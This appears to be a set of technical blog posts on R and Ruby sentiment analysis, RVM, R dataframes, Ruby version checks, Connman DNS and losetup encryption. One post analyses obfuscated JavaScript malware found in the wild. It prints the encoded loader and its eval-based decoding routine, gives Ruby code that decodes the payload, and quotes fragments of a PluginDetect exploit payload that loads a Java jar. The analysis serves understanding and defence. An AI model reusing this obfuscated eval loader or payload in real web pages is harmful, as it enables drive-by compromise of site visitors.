Quick-and-dirty Sentiment Analysis in Ruby + R

Sentiment analysis is a hot topic these days, and it is easy to see why. The idea that one could mine a bunch of Twitter drivel in order to guesstimate the popularity of a topic, company or celebrity must have induced seizures in marketing departments across the globe.

All the more so because, given the right tools, it's not all that hard.

The R Text Mining package (tm) can be used to perform rather painless sentiment analysis on choice topics.

The Web Mining plugin (tm.plugin.webmining) can be used to query a search engine and build a corpus of the documents in the results:

library(tm.plugin.webmining)
corpus <- WebCorpus(YahooNewsSource('drones'))

The corpus is a standard tm corpus object, meaning it can be passed to other tm plugins without a problem.

One of the more interesting plugins that can be fed a corpus object is the Sentiment Analysis plugin (tm.plugin.sentiment):

library(tm.plugin.sentiment)
corpus <- score(corpus)

sent_scores <- meta(corpus)

The score() method performs sentiment analysis on the corpus, and stores the results in the metadata of the corpus R object. Examining the output of the meta() call will display these scores:

summary(sent_scores)
     MetaID     polarity         subjectivity     pos_refs_per_ref  neg_refs_per_ref 
 Min.   :0   Min.   :-0.33333   Min.   :0.02934   Min.   :0.01956   Min.   :0.00978  
 1st Qu.:0   1st Qu.:-0.05263   1st Qu.:0.04889   1st Qu.:0.02667   1st Qu.:0.02266  
 Median :0   Median : 0.06926   Median :0.06767   Median :0.03009   Median :0.02755  
 Mean   :0   Mean   : 0.04789   Mean   :0.06462   Mean   :0.03343   Mean   :0.03118  
 3rd Qu.:0   3rd Qu.: 0.15862   3rd Qu.:0.07579   3rd Qu.:0.03981   3rd Qu.:0.03526  
 Max.   :0   Max.   : 0.37778   Max.   :0.10145   Max.   :0.06280   Max.   :0.05839  
             NA's   : 2.00000   NA's   :2.00000   NA's   :2.00000   NA's   :2.00000  
 senti_diffs_per_ref
 Min.   :-0.029197  
 1st Qu.:-0.002451  
 Median : 0.003501  
 Mean   : 0.002248  
 3rd Qu.: 0.009440  
 Max.   : 0.026814  
 NA's   : 2.000000 

These sentiment scores are based on the Lydia/TextMap system, and are explained in the TestMap paper as well as in the tm.plugin.sentiment presentation:

• polarity (p - n / p + n) : difference of positive and negative sentiment references / total number of sentiment references
• subjectivity (p + n / N) :  total number of sentiment references / total number of references
• pos_refs_per_ref (p / N) : total number of positive sentiment references / total number of references
• neg_refs_per_ref (n / N) : total number of negative sentiment references / total number of references
• senti_diffs_per_ref  (p - n / N) :  difference of positive and negative sentiment references  / total number of references                                                        

The pos_refs_per_ref and neg_refs_per_ref are the rate at which positive and negative references occur in the corpus, respectively (i.e., "x out of n textual references were positive/negative"). The polarity metric is used to determine the bias (positive or negative) of the text, while the subjectivity metric is used to determine the rate at which biased (i.e. positive or negative) references occur in the text.

The remaining metric, senti_diffs_per_ref, is a combination of polarity and subjectivity: it determines the bias of the text in relation to the size of the text (actually, number of references in the text) as a whole. This is likely to be what most people expect the output of a sentiment analysis to be, but it may be useful to create a ratio of pos_refs_per_ref to neg_refs_per_ref.

Having some R code to perform sentiment analysis is all well and good, but it doesn't make for a decent command-line utility. For that, it is useful to call R from within Ruby. The rsruby gem can be used to do this.

# initialize R

ENV['R_HOME'] ||= '/usr/lib/R'

r = RSRuby.instance

# load TM libraries

r.eval_R("suppressMessages(library('tm.plugin.webmining'))")

r.eval_R("suppressMessages(library('tm.plugin.sentiment'))")

# perform search and sentiment analysis

r.eval_R("corpus <- WebCorpus(YahooNewsSource('drones'))")

r.eval_R('corpus <- score(corpus)')

# output results

scores = r.eval_R('meta(corpus)')

puts scores.inspect

The output of the last eval_R command is a Hash corresponding to the sent_scores dataframe in the R code.

Naturally, in order for this to be anything but a throwaway script, there has to be some decent command line parsing, maybe an option to aggregate or summarize the results, and of course some sort of output formatting.

As usual, the source code for such a utility has been uploaded to GitHub: https://github.com/mkfs/sentiment-analysis

Usage: sentiment_for_symbol.rb TERM [...]

Perform sentiment analysis on a web query for keyword

Google Engines:

    -b, --google-blog                Include Google Blog search

    -f, --google-finance             Include Google Finance search

    -n, --google-news                Include Google News search

Yahoo Engines:

    -F, --yahoo-finance              Include Yahoo Finance search

    -I, --yahoo-inplay               Include Yahoo InPlay search

    -N, --yahoo-news                 Include Yahoo News search

Summary Options:

    -m, --median                     Calculate median

    -M, --mean                       Calculate mean

Output Options:

    -p, --pipe-delim                 Print pipe-delimited table output

    -r, --raw                        Serialize output as a Hash, not an Array

Misc Options:

    -h, --help                       Show help screen

RVM 'rvm_path does not exist' error

This seems to occur when RVM is used in a new user account, with a multi-user RVM installation (i.e. installed to /usr/local/rvm):

bash$ source /usr/local/rvm/scripts/rvm

$rvm_path (/usr/local/rvm/scripts/rvm) does not exist.rvm_is_a_shell_function: command not found

__rvm_teardown: command not found

The solution is to set the rvm_path variable in ~/.rvmrc :

bash$ cat ~/.rvmrc 

export rvm_path="/usr/local/rvm"

This has to be done in order for the additions to .bash_profile or .bashrc to work.

Pre-allocating a DataFrame in R

Anyone who has ever tried to load a few thousand rows of data into an R dataframe of a couple hundred columns will have learned the hard way that the storage space should be allocated in advance.

Normally this is not a problem. The columns are initialized with empty vectors sized to the number of rows expected:

n <- 100
df <- data.frame( x=numeric(n), y=character(n) )
for ( i in 1:n ) {
  df[i,] = list(...)
}

R dataframes act a little funny with time series, though. When storing a time series in a dataset, the rows represent the data points in a time series (or attributes), while the column represents the time series itself (or entity). Thus, the two time series
  1 3 5 7 9
  8 2 5 1 4
should be stored in an R data frame as
  1 8
  3 2
  5 5
  7 1
  9 4
...i.e. the transpose of how data is normally stored in R dataframes (rows being the entity, columns being the attributes). This is mostly due to an assumption in tools like ggplot: the analysis or visualization is performed on the values of an attribute (column) in a set of entities (rows).

This poses a problem when dynamically allocating a dataframe for time series: the number of columns is not known in advance, while the number of rows often is (e.g. in DSP samples).

The solution is to create a list of columns, then pass the list to the data.frame() constructor:

ts.allocate.dataframe <- function(num_ts, ts_size=) {
        # create a list of numeric vectors
        cols = lapply(1:num_ts, function(x) numeric(ts_size))
        data.frame(index=1:ts_size, 
                   # initialize a column of timestamps to now()
                   timestamp=as.POSIXct(1:ts_size, origin=Sys.time()),
                   # add the columns for the time series
                   as.data.frame(cols))
} 

When filling the dataframe, be sure to set the column name when inserting the data:

# ... build lists ts_data and ts_names ...

df.ts <- ts.allocate.dataframe(length(ts_data[[1]]), 
                                  length(ts_data) )

for ( i in 1:length(ts_data) ) {
    # set column i+2 to ts_data[i] contents
    # note that the first two columns in the dataframe 
    #      are 'index and 'timestamp'
    df.ts[,i+2] <- ts_data[[i]]
    # set column name to ts_names[i]
    names(df.ts)[[i+2]] <- ts_names[[i]]
}

Ruby Version Check

As good a practice as it is to make Ruby code portable between interpreter versions, sometimes it is just not possible. And other times, a particular feature (such as little- and big-endian flags in Array#pack and String#unpack) makes requiring a minimum version a small burden to bear.

There are a few underfeatured or overengineered solutions to this problem already, but that feels "just right" for a task that should be so simple. What follows are two brief one-liners for enforcing a minimum Ruby version.


Method 1 : A simple to_i check

This method is useful if the required version is in the format of the 1.8.x and 1.9.x releases. That is, the version number must be at least three single-digit decimal numbers (i.e. 0-9) separated by decimal points (or periods, if you prefer). The trick is simply to concatenate the decimal numbers and convert them to an integer:

RUBY_VERSION.split('.')[0,3].join.to_i

This can be used in a straightforward check as follows:

raise "Ruby 1.9.3 required" if RUBY_VERSION.split('.')[0,3].join.to_i < 193


Method 2 : Padded-decimal to_i check

This method is useful if the version components can contain multiple-digit decimal numbers. For simplicity, assume that the largest version component will be 999. The trick then is to format a string in which each version component is zero-padded to three places, then converted to an integer:

("%03d%03d%03d" % RUBY_VERSION.split('.')[0,3]).to_i 

The required version number must also be zero-padded, as the following check demonstrates:

raise "Ruby 1.9.3 required" if ("%03d%03d%03d" % RUBY_VERSION.split('.')[0,3]).to_i < 1009003 


Futureproofing

Of course, to be absolutely safe, one must consider the possibility of versions such as 3.0 or even 3. In these cases, the output of split('.') will cause a failure, as there are not three components available.

The fix is to append enough zeroes to the array after splitting.

A two-component version number requires a single zero to be appended:

irb> ("%03d%03d%03d" % (("1.8").split('.')<<0)).to_i
=> 1008000 

While a one-component version number requires two zeroes to be appended:

irb> ("%03d%03d%03d" % (("1").split('.')<<0<<0)).to_i
=> 1000000


The ultimate, maximally-futureproof version-string-to-integer comparison is therefore:

("%03d%03d%03d" % (RUBY_VERSION.split('.')<<0<<0)).to_i

The accompanying version check for Ruby 1.9.3:

raise "Ruby 1.9.3 required" if ("%03d%03d%03d" % (RUBY_VERSION.split('.')<<0<<0)).to_i < 1009003 

A bit ugly, and a bit more than an 80-character line, but still simple enough to chuck under the shebang.

malware in the wild: an interesting diversion

This little number provided some measure of entertainment this evening.

Ostensibly a Javascript malware "caught in the wild", it consists largely of an incomprehensible HTML I tag full of what appears to be encoded data:

17="=0g1ekd4=0f3f6ek=4e844e5=8g77gcf=37mdd60=1eee2f6..."


The nature of the obfuscation can be determined fairly quickly by looking at the two SCRIPT tags:

dd="i";ss=String.fromCharCode;pp="eIn";gg="getElem"+"entsByTagName";zx="al";

and

if(document.getElementsByTagName("div")[0].style.display==""){a=document[gg](dd)[0];

s=new String();

for(i=0;;i++){

        r=a.getAttribute(i);

        if(r){s=s+r;}else break;

}

a=s;

s=new String();

zx="ev"+zx;

e=window[zx];

p=parseInt;

for(i=0;i=2){

        if(a["su"+"bs"+"tr"](i,1)!="=")

        s=s.concat(ss(p(a.substr(i,2),23)/3));

}

c=s;

e(c)}

It only takes putting them side by side to realize that the first contains string substitutions for the second.

Performing the substitutions manually, we get:

if(document.getElementsByTagName("div")[0].style.display==""){

  # a)

  a=document["getElementsByTagName"]("i")[0];

  s=new String();

  for(i=0;;i++){

    r=a.getAttribute(i);

    if(r){s=s+r;}else break;

  }

  a=s;

  s=new String();

  e=window["eval"];

  # b)

  for(i=0;i

    # c)

    if(a["substr"](i,1)!="=")

    #d)

    s=s.concat(String.fromCharCode(parseInt(a.substr(i,2),23)/3));

  }

  c=s;

  # e)

  e(c)}

By now the operation of the main encoding scheme is apparent. The code at a) reads the (numeric) attributes of the "I" tag from 0 to 28 (the largest attribute # in the I tag), and assembles it into a string. The characters of this string are iterated over in pairs at b), and each pair beginning with '=' is skipped at c). Finally, at d), a command string is generated by:

  * reading each pair of characters as a base-23 number

  * dividing the resulting number by 3

  * converting that result into an ASCII character

At e), fittingly, this command string is evaluated.

The code in a) shows that the numeric attributes in the I tag are displayed out of order, in another crude attempt at obfuscation. The first attribute must be zero (according to the loop), and its contents are:

0="=6f9cfek=344aae2=2f6dadg=5e88kd4=2f3d4cl=2f37mg1=3f9d4ek=2f0dgeb=8e87d4a=9666074=7607a4a=15he8cf..."

Manually converting this in ruby shows that the above interpretation of the obfuscation is indeed correct:

%w{ f9 cf ek 44 aa e2 f6 da dg e8 8k d4 f3 d4 cl f3 7m g1 f9 d4 ek f0 dg eb e8 7d 4a 66 60 74 60 7a 4a 5h e8 cf }.map { |x| (Integer(x, 23) / 3).chr }.join

 => "var PluginDetect={version:\"0.7.9\",na" 

From here on it is a simple matter of decoding. Extract the contents of the I tag into a file called "lines.dat". 

 dat = File.open('lines.dat', 'r') { |f| f.read }

A quick perusal shows that the attributes are separated by spaces, and a quick experiment verifies this:

 dat.split(' ').length

 => 29 

Enumerable#inject proves a nice way to turn this into a hash:

h = dat.split(' ').inject({}) { |h, attr| k,v,jnk = attr.split('="'); h[Integer(k)] = v.split(/=[[:alnum:]]/)[1..-1].map{ |s| [s[0,2], s[2,2], s[4,2]] }.flatten ; h}

Some commentary is perhaps in order here. The inject block splits each attribute on '="', resulting in a [name, attribute] pair such as ["0", "=6f9cfek=344aa..."]. The first half of the pair, called k for key, is converted to a fixnum and serves as a sort of line number for the command. 

The tricky bit is the handling of v (for value, of course). This is split on a regex consisting of an equals sign and an alphanumeric character;  for attribute 0, this creates the array ["", "f9cfek", "44aae2", "f6dadg", "e88kd4", ... ]. The empty first element is discarded, then the strings in the array are manually divided into their three numeric components, resulting in an array such as ["f9", "cf", "ek", "44", "aa", "e2", "f6", "da", "dg", "e8", "8k", "d4", ... ].

All that remains now is to order the attributes by "line number", convert each encoded number from a base 23 String representation to a Fixnum, divide it by three, and convert the result to a character. Simple enough:

h.keys.sort.map{ |i| h[i].map{ |x| (Integer(x, 23) / 3).chr }.join }.join

The result is a rather long payload which the reader is welcome to reconstruct themselves or peruse. To give a taste, here is the very beginning and the very end:

"var PluginDetect={version:\"0.7.9\",name:\"PluginDetect\",handler:function(c,b,a){return function(){c(b,a)}},openTag:\"

...

ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$[\"onDetec\"+\"tionDone\"](\"Ja\"+\"va\", svwrbew6436b, \"../legs/getJavaInfo.jar\");"

Static DNS servers with Connman

For some reason, Connman uses dnsmasq for name resolution, resulting in extremely slow hostname lookups. This can be verified using the cmcc tool:

bash$ for i in `cmcc services | grep -e '^*' | awk '{ print $2 }'`; do cmcc show $i | grep Nameservers; done
Nameservers = [ 127.0.0.1 ]

Nameservers.Configuration = [  ]


The quick fix is to use cmcc to manually specify name servers:

bash$ for i in `cmcc services | grep -e '^*' | awk '{ print $2 }'`; do cmcc edit $i nameservers 8.8.8.8 8.8.4.4; done

unknown property: 8.8.8.8

bash$ for i in `cmcc services | grep -e '^*' | awk '{ print $2 }'`; do cmcc show $i | grep Nameservers; done

Nameservers = [ 8.8.8.8 8.8.4.4 ]

Nameservers.Configuration = [ 8.8.8.8 8.8.4.4 ]

Alternatively, the default DNS server supplied by the router can be used by specifying auto as the nameserver:

bash$ for i in `cmcc services | grep -e '^*' | awk '{ print $2 }'`; do cmcc edit $i nameservers auto; done
unknown property: auto

bash$ for i in `cmcc services | grep -e '^*' | awk '{ print $2 }'`; do cmcc show $i | grep Nameservers; done

Nameservers = [ 192.168.0.1 ]

Nameservers.Configuration = [  ]

Note that the cmcc tool has a bug in its command-line parsing ("argv" is passed to service.SetProperty in cmd_edit_nameservers, but the nameserver arguments are not popped from argv and thus are treated as additional properties to be parsed once cmd_edit_nameservers returns) -- but as cmcc show proves, the changes have been made.

"losetup -e blowfish" broken across distributions

Apparently this has been an issue for a long time:

  1. create an encrypted disk image with "losetup -e blowfish"
  2. ...years pass...
  3. move the encrypted disk image to a machine with a
      different distribution of Linux
     -or-
     upgrade the installed version of Linux
  4. discover that all access to the encrypted data is lost!

This apparently has to do the hash being used in blowfish changing, usually for security reasons and usually without a backwards-compatibility option, as documented in loop-AES.README.

This is very bad news if you've been backing up your encrypted disk image. Better stick with a losetup-mount-tar-pgp backup procedure instead:

# to backup:
bash$ cd /media/encrypted_fs
bash$ tar cf - * | gpg --output /home/backup/encrypted_fs.gpg -r you@email.address -e - 
# to restore:
bash$ cd /media/encrypted_fs
bash$ gpg -d /home/backup/encrypted_fs.gp | tar xf -